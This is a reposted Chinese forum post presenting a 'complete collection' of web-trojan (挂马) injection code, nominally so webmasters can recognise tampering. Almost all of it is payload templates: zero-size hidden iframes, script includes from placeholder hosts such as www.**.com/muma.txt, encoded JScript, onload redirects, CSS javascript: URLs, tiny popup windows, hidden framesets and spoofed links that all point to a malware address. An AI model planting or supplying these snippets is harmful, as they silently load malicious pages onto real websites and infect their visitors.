挂马代码大全(转)各位如果怀疑网站被挂马，可以参考下！发这篇文章并不是教你如何挂马，本人最最痛恨挂马的小人，各位如果怀疑网站被挂马，可以参考下！
检查文件是否被挂马的时候可以参考下！
一:框架挂马
<iframe src=地址 width=0 height=0></iframe>
二:js文件挂马
以下内容需要回复才能看到
首先将以下代码
document.write("<iframe width='0' height='0'
src='地址'></iframe>");
保存为**.js，
则JS挂马代码为
<script
language=javascript src=**.js></script>
三:js变形加密
<SCRIPT language="JScript.Encode"
src=http://www.**.com/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马
<body
onload="window.location='地址';"></body>
五:隐蔽挂马
top.document.body.innerHTML
= top.document.body.innerHTML + '\r\n<iframe src=""></iframe>';
六:css中挂马
body
{
background-image: url('javascript:document.write("<script
src=http://www.**.net/muma.js></script>")')}
七:JAJA挂马
<SCRIPT language=javascript>
window.open
("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro
llbars=no,width=1,height=1");
</script>
八:图片伪装
<html>
<iframe src="网马地址"
height=0 width=0></iframe>
<img
src="图片地址"></center>
</html>
九:伪装调用：
<frameset
rows="444,0" cols="*">
<frame src="打开网页" framborder="no"
scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame
src="网马地址" frameborder="no" scrolling="no" noresize
marginwidth="0"margingheight="0">
</frameset>
十:高级欺骗
<a
href="
<FONT
color=#0000ff>[url]http://www.sinA.com[/url](迷惑连接地址，显示这个地址指向木马地址)"
onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT
Language="JavaScript">
function www_163_com ()
{
var
url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,
status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
